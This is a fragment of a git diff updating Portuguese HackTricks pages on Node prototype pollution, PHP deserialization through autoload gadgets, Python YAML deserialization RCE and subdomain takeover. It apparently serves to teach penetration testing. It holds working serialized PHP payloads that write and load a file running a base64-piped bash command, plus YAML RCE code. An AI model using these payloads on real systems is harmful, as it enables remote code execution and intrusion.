Em [**este commit**](https://github.com/nodejs/node/commit/0313102aaabb49f78156cadc1b3492eac3941dd9), a **poluição de protótipos** de **`contextExtensions`** da biblioteca vm também foi **em parte corrigida** definindo as opções como **`kEmptyObject`** em vez de **`{}`.**
|
||||||
|
|
||||||
### **Outros Gadgets**
|
### **Outros Dispositivos**
|
||||||
|
|
||||||
* [https://github.com/yuske/server-side-prototype-pollution](https://github.com/yuske/server-side-prototype-pollution)
|
* [https://github.com/yuske/server-side-prototype-pollution](https://github.com/yuske/server-side-prototype-pollution)
|
||||||
|
|
||||||
|
@ -714,14 +691,14 @@ No [**este commit**](https://github.com/nodejs/node/commit/0313102aaabb49f78156c
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Aprenda hacking no AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary><strong>Aprenda hacking AWS do zero ao avançado com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
Outras formas de apoiar o HackTricks:
|
Outras formas de apoiar o HackTricks:
|
||||||
|
|
||||||
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||||
* Adquira o [**merchandising oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao grupo [**telegram**](https://t.me/peass) ou **siga**-me no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||||
* **Compartilhe suas dicas de hacking enviando PRs para os repositórios do GitHub** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
* **Compartilhe seus truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
|
@ -1,31 +1,31 @@
|
||||||
# PHP - Deserialização + Classes Autoload
|
# PHP - Desserialização + Classes de Autocarregamento
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Aprenda hacking no AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
Outras formas de apoiar o HackTricks:
|
Outras maneiras de apoiar o HackTricks:
|
||||||
|
|
||||||
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||||
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao grupo [**telegram**](https://t.me/peass) ou **siga**-me no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||||
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) no github.
|
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
Primeiro, você deve verificar o que são [**Classes Autoload**](https://www.php.net/manual/en/language.oop5.autoload.php).
|
Primeiro, você deve verificar o que são [**Classes de Autocarregamento**](https://www.php.net/manual/en/language.oop5.autoload.php).
|
||||||
|
|
||||||
## Deserialização PHP + spl\_autoload\_register + LFI/Gadget
|
## PHP desserialização + spl\_autoload\_register + LFI/Gadget
|
||||||
|
|
||||||
Estamos em uma situação onde encontramos uma **deserialização PHP em uma webapp** sem nenhuma biblioteca vulnerável a gadgets dentro do **`phpggc`**. No entanto, no mesmo container havia uma **webapp composer diferente com bibliotecas vulneráveis**. Portanto, o objetivo era **carregar o carregador do composer da outra webapp** e abusar dele para **carregar um gadget que explorará essa biblioteca com um gadget** da webapp vulnerável à deserialização.
|
Estamos em uma situação onde encontramos uma **desserialização PHP em um aplicativo da web** sem nenhuma biblioteca vulnerável a gadgets dentro do **`phpggc`**. No entanto, no mesmo contêiner, havia uma **outra aplicação da web do composer com bibliotecas vulneráveis**. Portanto, o objetivo era **carregar o carregador do composer da outra aplicação da web** e abusá-lo para **carregar um gadget que irá explorar aquela biblioteca com um gadget** da aplicação da web vulnerável à desserialização.
|
||||||
|
|
||||||
Passos:
|
Passos:
|
||||||
|
|
||||||
* Você encontrou uma **deserialização** e **não há nenhum gadget** no código atual do app
|
* Você encontrou uma **desserialização** e **não há nenhum gadget** no código do aplicativo atual
|
||||||
* Você pode abusar de uma função **`spl_autoload_register`** como a seguinte para **carregar qualquer arquivo local com extensão `.php`**
|
* Você pode abusar de uma função **`spl_autoload_register`** como a seguinte para **carregar qualquer arquivo local com extensão `.php`**
|
||||||
* Para isso, você usa uma deserialização onde o nome da classe vai estar dentro de **`$name`**. Você **não pode usar "/" ou "."** em um nome de classe em um objeto serializado, mas o **código** está **substituindo** os **sublinhados** ("\_") **por barras** ("/"). Então, um nome de classe como `tmp_passwd` será transformado em `/tmp/passwd.php` e o código tentará carregá-lo.\
|
* Para isso, você usa uma desserialização onde o nome da classe estará dentro de **`$name`**. Você **não pode usar "/" ou "."** em um nome de classe em um objeto serializado, mas o **código** está **substituindo** os **underlines** ("\_") **por barras** ("/"). Portanto, um nome de classe como `tmp_passwd` será transformado em `/tmp/passwd.php` e o código tentará carregá-lo.\
|
||||||
Um **exemplo de gadget** seria: **`O:10:"tmp_passwd":0:{}`**
|
Um **exemplo de gadget** será: **`O:10:"tmp_passwd":0:{}`**
|
||||||
```php
|
```php
|
||||||
spl_autoload_register(function ($name) {
|
spl_autoload_register(function ($name) {
|
||||||
|
|
||||||
|
@ -48,52 +48,30 @@ require __DIR__ . $filename;
|
||||||
});
|
});
|
||||||
```
|
```
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
Se você tem um **upload de arquivo** e pode enviar um arquivo com a extensão **`.php`**, você poderia **abusar dessa funcionalidade diretamente** e obter RCE imediatamente.
|
Se você tiver um **upload de arquivo** e puder fazer o upload de um arquivo com a extensão **`.php`**, você pode **abusar dessa funcionalidade diretamente** e obter RCE facilmente.
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
No meu caso, eu não tinha nada assim, mas havia dentro do **mesmo container** outra página web do composer com uma **biblioteca vulnerável a um gadget `phpggc`**.
|
No meu caso, eu não tinha nada assim, mas havia dentro do **mesmo contêiner** outra página da web do composer com uma **biblioteca vulnerável a um gadget `phpggc`**.
|
||||||
|
|
||||||
* Para carregar essa outra biblioteca, primeiro você precisa **carregar o carregador do composer daquela outra aplicação web** (porque o da aplicação atual não acessará as bibliotecas da outra.) **Conhecendo o caminho da aplicação**, você pode conseguir isso muito facilmente com: **`O:28:"www_frontend_vendor_autoload":0:{}`** (No meu caso, o carregador do composer estava em `/www/frontend/vendor/autoload.php`)
|
* Para carregar essa outra biblioteca, primeiro você precisa **carregar o carregador do composer da outra aplicação web** (porque o da aplicação atual não terá acesso às bibliotecas da outra). **Sabendo o caminho da aplicação**, você pode fazer isso facilmente com: **`O:28:"www_frontend_vendor_autoload":0:{}`** (No meu caso, o carregador do composer estava em `/www/frontend/vendor/autoload.php`)
|
||||||
* Agora, você pode **carregar** o carregador do composer da outra **aplicação**, então é hora de **`gerar o payload do phpgcc`** para usar. No meu caso, eu usei **`Guzzle/FW1`**, que me permitiu **escrever qualquer arquivo dentro do sistema de arquivos**.
|
* Agora, você pode **carregar** o carregador da **outra aplicação**, então é hora de **`gerar o payload phpgcc`** para usar. No meu caso, usei **`Guzzle/FW1`**, o que me permitiu **escrever qualquer arquivo no sistema de arquivos**.
|
||||||
* NOTA: O **gadget gerado não estava funcionando**, para que funcionasse eu **modifiquei** aquele payload **`chain.php`** do phpggc e defini **todos os atributos** das classes **de privados para públicos**. Caso contrário, após a desserialização da string, os atributos dos objetos criados não tinham valores.
|
* NOTA: O **gadget gerado não estava funcionando**, para que funcionasse, eu **modifiquei** esse payload **`chain.php`** do phpggc e defini **todos os atributos** das classes **de privado para público**. Caso contrário, após desserializar a string, os atributos dos objetos criados não teriam nenhum valor.
|
||||||
* Agora temos a maneira de **carregar o carregador do composer da outra aplicação** e temos um **payload do phpggc que funciona**, mas precisamos **fazer isso na MESMA REQUISIÇÃO para que o carregador seja carregado quando o gadget for usado**. Para isso, eu enviei um array serializado com ambos os objetos como:
|
* Agora temos o caminho para **carregar o carregador da outra aplicação** e ter um **payload phpggc que funcione**, mas precisamos **fazer isso na MESMA REQUISIÇÃO para que o carregador seja carregado quando o gadget for usado**. Para isso, enviei um array serializado com ambos os objetos como:
|
||||||
* Você pode ver **primeiro o carregador sendo carregado e depois o payload**
|
* Você pode ver **primeiro o carregador sendo carregado e depois o payload**
|
||||||
|
|
||||||
{% code overflow="wrap" %}
|
|
||||||
```php
|
```php
|
||||||
a:2:{s:5:"Extra";O:28:"www_frontend_vendor_autoload":0:{}s:6:"Extra2";O:31:"GuzzleHttp\Cookie\FileCookieJar":4:{s:7:"cookies";a:1:{i:0;O:27:"GuzzleHttp\Cookie\SetCookie":1:{s:4:"data";a:3:{s:7:"Expires";i:1;s:7:"Discard";b:0;s:5:"Value";s:56:"<?php system('echo L3JlYWRmbGFn | base64 -d | bash'); ?>";}}}s:10:"strictMode";N;s:8:"filename";s:10:"/tmp/a.php";s:19:"storeSessionCookies";b:1;}}
|
a:2:{s:5:"Extra";O:28:"www_frontend_vendor_autoload":0:{}s:6:"Extra2";O:31:"GuzzleHttp\Cookie\FileCookieJar":4:{s:7:"cookies";a:1:{i:0;O:27:"GuzzleHttp\Cookie\SetCookie":1:{s:4:"data";a:3:{s:7:"Expires";i:1;s:7:"Discard";b:0;s:5:"Value";s:56:"<?php system('echo L3JlYWRmbGFn | base64 -d | bash'); ?>";}}}s:10:"strictMode";N;s:8:"filename";s:10:"/tmp/a.php";s:19:"storeSessionCookies";b:1;}}
|
||||||
```
|
```
|
||||||
{% endcode %}
|
* Agora, podemos **criar e escrever um arquivo**, no entanto, o usuário **não pôde escrever em qualquer pasta dentro do servidor web**. Portanto, como você pode ver no payload, o PHP chamando **`system`** com algum **base64** é criado em **`/tmp/a.php`**. Em seguida, podemos **reutilizar o primeiro tipo de payload** que usamos como LFI para carregar o carregador do composer do outro aplicativo da web **para carregar o arquivo `/tmp/a.php`** gerado. Basta adicioná-lo ao gadget de desserialização:
|
||||||
|
|
||||||
* Agora, podemos **criar e escrever um arquivo**, no entanto, o usuário **não poderia escrever em nenhuma pasta dentro do servidor web**. Então, como você pode ver no payload, PHP chamando **`system`** com algum **base64** é criado em **`/tmp/a.php`**. Depois, podemos **reutilizar o primeiro tipo de payload** que usamos como LFI para carregar o carregador do compositor de outro webapp **para carregar o arquivo gerado `/tmp/a.php`**. Basta adicioná-lo ao gadget de deserialização: 
|
|
||||||
|
|
||||||
{% code overflow="wrap" %}
|
|
||||||
```php
|
```php
|
||||||
a:3:{s:5:"Extra";O:28:"www_frontend_vendor_autoload":0:{}s:6:"Extra2";O:31:"GuzzleHttp\Cookie\FileCookieJar":4:{s:7:"cookies";a:1:{i:0;O:27:"GuzzleHttp\Cookie\SetCookie":1:{s:4:"data";a:3:{s:7:"Expires";i:1;s:7:"Discard";b:0;s:5:"Value";s:56:"<?php system('echo L3JlYWRmbGFn | base64 -d | bash'); ?>";}}}s:10:"strictMode";N;s:8:"filename";s:10:"/tmp/a.php";s:19:"storeSessionCookies";b:1;}s:6:"Extra3";O:5:"tmp_a":0:{}}
|
a:3:{s:5:"Extra";O:28:"www_frontend_vendor_autoload":0:{}s:6:"Extra2";O:31:"GuzzleHttp\Cookie\FileCookieJar":4:{s:7:"cookies";a:1:{i:0;O:27:"GuzzleHttp\Cookie\SetCookie":1:{s:4:"data";a:3:{s:7:"Expires";i:1;s:7:"Discard";b:0;s:5:"Value";s:56:"<?php system('echo L3JlYWRmbGFn | base64 -d | bash'); ?>";}}}s:10:"strictMode";N;s:8:"filename";s:10:"/tmp/a.php";s:19:"storeSessionCookies";b:1;}s:6:"Extra3";O:5:"tmp_a":0:{}}
|
||||||
```
|
```
|
||||||
```markdown
|
|
||||||
{% endcode %}
|
{% endcode %}
|
||||||
|
|
||||||
**Resumo do payload**
|
**Resumo da carga útil**
|
||||||
|
|
||||||
* **Carregar o autoload do composer** de um webapp diferente no mesmo contêiner
|
* **Carregar o autoload do composer** de um aplicativo da web diferente no mesmo contêiner
|
||||||
* **Carregar um gadget do phpggc** para abusar de uma biblioteca do outro webapp (o webapp inicial vulnerável à deserialização não tinha nenhum gadget em suas bibliotecas)
|
* **Carregar um gadget phpggc** para abusar de uma biblioteca do outro aplicativo da web (o aplicativo da web inicial vulnerável à desserialização não tinha nenhum gadget em suas bibliotecas)
|
||||||
* O gadget irá **criar um arquivo com um payload PHP** nele em /tmp/a.php com comandos maliciosos (o usuário do webapp não pode escrever em nenhuma pasta de nenhum webapp)
|
* O gadget irá **criar um arquivo com uma carga útil PHP** nele em /tmp/a.php com comandos maliciosos (o usuário do aplicativo da web não pode escrever em nenhuma pasta de nenhum aplicativo da web)
|
||||||
* A parte final do nosso payload usará **carregar o arquivo php gerado** que executará comandos
|
* A parte final de nossa carga útil usará **carregar o arquivo php gerado** que executará comandos
|
||||||
|
|
||||||
Eu precisei **chamar essa deserialização duas vezes**. Nos meus testes, na primeira vez o arquivo `/tmp/a.php` foi criado mas não carregado, e na segunda vez ele foi corretamente carregado.
|
Eu precisei **chamar essa desserialização duas vezes**. Nos meus testes, na primeira vez o arquivo `/tmp/a.php` foi criado mas não carregado, e na segunda vez foi carregado corretamente.
|
||||||
|
|
||||||
<details>
|
|
||||||
|
|
||||||
<summary><strong>Aprenda hacking no AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
|
||||||
|
|
||||||
Outras formas de apoiar o HackTricks:
|
|
||||||
|
|
||||||
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
|
||||||
* Adquira o [**merchandising oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
||||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
|
||||||
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao grupo [**telegram**](https://t.me/peass) ou **siga**-me no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
|
||||||
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios github do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
|
||||||
|
|
||||||
</details>
|
|
||||||
```
|
|
||||||
|
|
|
@ -7,7 +7,7 @@ Outras maneiras de apoiar o HackTricks:
|
||||||
* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||||
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||||
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
@ -15,7 +15,7 @@ Outras maneiras de apoiar o HackTricks:
|
||||||
|
|
||||||
# **Deserialização** Yaml
|
# **Deserialização** Yaml
|
||||||
|
|
||||||
As bibliotecas **Yaml** em python também são capazes de **serializar objetos python** e não apenas dados brutos:
|
As bibliotecas python de **Yaml** também são capazes de **serializar objetos python** e não apenas dados brutos:
|
||||||
```
|
```
|
||||||
print(yaml.dump(str("lol")))
|
print(yaml.dump(str("lol")))
|
||||||
lol
|
lol
|
||||||
|
@ -96,7 +96,7 @@ Note que nas **versões recentes** você não pode **mais chamar `.load()`** **s
|
||||||
|
|
||||||
# RCE
|
# RCE
|
||||||
|
|
||||||
Cargas personalizadas podem ser criadas usando módulos YAML Python como **PyYAML** ou **ruamel.yaml**. Essas cargas podem explorar vulnerabilidades em sistemas que desserializam entradas não confiáveis sem a devida sanitização.
|
Cargas personalizadas podem ser criadas usando módulos YAML do Python, como **PyYAML** ou **ruamel.yaml**. Essas cargas podem explorar vulnerabilidades em sistemas que desserializam entradas não confiáveis sem a devida sanitização.
|
||||||
```python
|
```python
|
||||||
import yaml
|
import yaml
|
||||||
from yaml import UnsafeLoader, FullLoader, Loader
|
from yaml import UnsafeLoader, FullLoader, Loader
|
||||||
|
@ -152,10 +152,10 @@ cat /tmp/example_yaml
|
||||||
|
|
||||||
Outras formas de apoiar o HackTricks:
|
Outras formas de apoiar o HackTricks:
|
||||||
|
|
||||||
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||||
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||||
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
* **Compartilhe seus truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
|
@ -6,11 +6,11 @@
|
||||||
|
|
||||||
Outras maneiras de apoiar o HackTricks:
|
Outras maneiras de apoiar o HackTricks:
|
||||||
|
|
||||||
* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||||
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Adquira [**produtos oficiais PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||||
* **Compartilhe seus truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
* **Compartilhe seus truques de hacking enviando PRs para** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
|
@ -62,15 +62,15 @@ Você pode encontrar um exemplo dessa vulnerabilidade no CTF write-up: [https://
|
||||||
|
|
||||||
## Explorando um subdomínio takeover
|
## Explorando um subdomínio takeover
|
||||||
|
|
||||||
O subdomínio takeover é essencialmente um spoofing DNS para um domínio específico em toda a internet, permitindo que atacantes configurem registros A para um domínio, levando os navegadores a exibir conteúdo do servidor do atacante. Essa **transparência** nos navegadores torna os domínios propensos a phishing. Os atacantes podem empregar [_typosquatting_](https://en.wikipedia.org/wiki/Typosquatting) ou [_Doppelganger domains_](https://en.wikipedia.org/wiki/Doppelg%C3%A4nger) para esse fim. Especialmente vulneráveis são os domínios onde a URL em um e-mail de phishing parece legítima, enganando os usuários e evitando filtros de spam devido à confiança inerente do domínio.
|
Subdomínio takeover é essencialmente um spoofing DNS para um domínio específico em toda a internet, permitindo que atacantes configurem registros A para um domínio, levando os navegadores a exibir conteúdo do servidor do atacante. Essa **transparência** nos navegadores torna os domínios propensos a phishing. Os atacantes podem empregar [_typosquatting_](https://en.wikipedia.org/wiki/Typosquatting) ou [_Doppelganger domains_](https://en.wikipedia.org/wiki/Doppelg%C3%A4nger) para esse fim. Especialmente vulneráveis são os domínios onde a URL em um e-mail de phishing parece legítima, enganando os usuários e evitando filtros de spam devido à confiança inerente do domínio.
|
||||||
|
|
||||||
Confira este [post para mais detalhes](https://0xpatrik.com/subdomain-takeover/)
|
Confira este [post para mais detalhes](https://0xpatrik.com/subdomain-takeover/)
|
||||||
|
|
||||||
### **Certificados SSL**
|
### **Certificados SSL**
|
||||||
Certificados SSL, se gerados por atacantes por meio de serviços como [_Let's Encrypt_](https://letsencrypt.org/), aumentam a legitimidade desses domínios falsos, tornando os ataques de phishing mais convincentes.
|
Certificados SSL, se gerados por atacantes via serviços como [_Let's Encrypt_](https://letsencrypt.org/), adicionam à legitimidade desses domínios falsos, tornando os ataques de phishing mais convincentes.
|
||||||
|
|
||||||
### **Segurança de Cookies e Transparência do Navegador**
|
### **Segurança de Cookies e Transparência do Navegador**
|
||||||
A transparência do navegador também se estende à segurança dos cookies, governada por políticas como a [Política da mesma origem](https://en.wikipedia.org/wiki/Same-origin_policy). Cookies, frequentemente usados para gerenciar sessões e armazenar tokens de login, podem ser explorados por meio de subdomínio takeover. Os atacantes podem **coletar cookies de sessão** simplesmente direcionando os usuários para um subdomínio comprometido, colocando em risco os dados e a privacidade do usuário.
|
A transparência do navegador também se estende à segurança dos cookies, governada por políticas como a [Política da mesma origem](https://en.wikipedia.org/wiki/Same-origin_policy). Cookies, frequentemente usados para gerenciar sessões e armazenar tokens de login, podem ser explorados através de subdomínio takeover. Os atacantes podem **coletar cookies de sessão** simplesmente direcionando os usuários para um subdomínio comprometido, colocando em risco os dados e a privacidade do usuário.
|
||||||
|
|
||||||
### **E-mails e Subdomínio Takeover**
|
### **E-mails e Subdomínio Takeover**
|
||||||
Outro aspecto do subdomínio takeover envolve serviços de e-mail. Os atacantes podem manipular **registros MX** para receber ou enviar e-mails de um subdomínio legítimo, aumentando a eficácia dos ataques de phishing.
|
Outro aspecto do subdomínio takeover envolve serviços de e-mail. Os atacantes podem manipular **registros MX** para receber ou enviar e-mails de um subdomínio legítimo, aumentando a eficácia dos ataques de phishing.
|
||||||
|
@ -104,12 +104,12 @@ Tenha Acesso Hoje:
|
||||||
|
|
||||||
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
Outras maneiras de apoiar o HackTricks:
|
Outras formas de apoiar o HackTricks:
|
||||||
|
|
||||||
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||||
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Descubra [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||||
* **Compartilhe seus truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
